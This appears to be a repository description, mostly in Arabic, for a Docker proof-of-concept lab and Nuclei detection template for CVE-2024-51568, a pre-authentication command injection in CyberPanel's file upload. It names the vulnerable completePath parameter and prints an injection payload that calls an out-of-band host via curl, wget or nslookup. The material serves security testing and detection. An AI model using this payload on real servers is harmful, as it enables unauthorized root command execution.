jsnv-dev/cve-2024-51568---cyberpanel-command-injection-nuclei-templateبيئة إثبات المفهوم (PoC) وقالب Nuclei لاختبار CVE-2024-51568، وهي ثغرة حقن أوامر قبل المصادقة في CyberPanel، مما يتيح تنفيذ أكواد عن بُعد بصلاحيات الجذر.
بيئة إثبات مفهوم وقالب Nuclei لاختبار CVE-2024-51568، وهي ثغرة حقن أوامر حرجة قبل المصادقة في CyberPanel.
/filemanager/uploadcompletePathcd docker/
docker-compose up -d --build
curl -I http://localhost:8090
nuclei -t template/cve-2024-51568.yaml -u http://localhost:8090
مخرجات عينة:
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.10
projectdiscovery.io
[INF] nuclei-templates are not installed, installing...
[INF] Successfully installed nuclei-templates at /root/nuclei-templates
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version: v10.2.8 (latest)
[INF] New templates added in latest release: 114
[INF] Templates loaded for current scan: 1
[INF] Targets loaded for current scan: 1
[INF] Using Interactsh Server: oast.online
[CVE-2024-51568] [http] [critical] http://localhost:8090/filemanager/upload
[INF] Scan completed in 5.706766772s. 1 matches found.
يحتوي CyberPanel الإصدار v2.3.4 على خلل في حقن الأوامر في وظيفة رفع الملفات:
POST /filemanager/uploadcompletePath في بيانات نموذج متعدد الأجزاءProcessUtilities.outputExecutioner()completePath/dev/null; curl {{interactsh-url}} || wget {{interactsh-url}} || nslookup {{interactsh-url}}; #
تضمن هذه الحمولة الكشف الموثوق عبر تكوينات النظام المختلفة.
تحتوي هذه البيئة على ثغرات متعمدة لأغراض البحث الأمني والتعليم:
يُقدم إثبات المفهوم هذا للأغراض التعليمية واختبارات الأمن المصرح بها فقط. يتحمل المستخدمون مسؤولية الامتثال للقوانين المعمول بها والحصول على الإذن المناسب قبل الاختبار.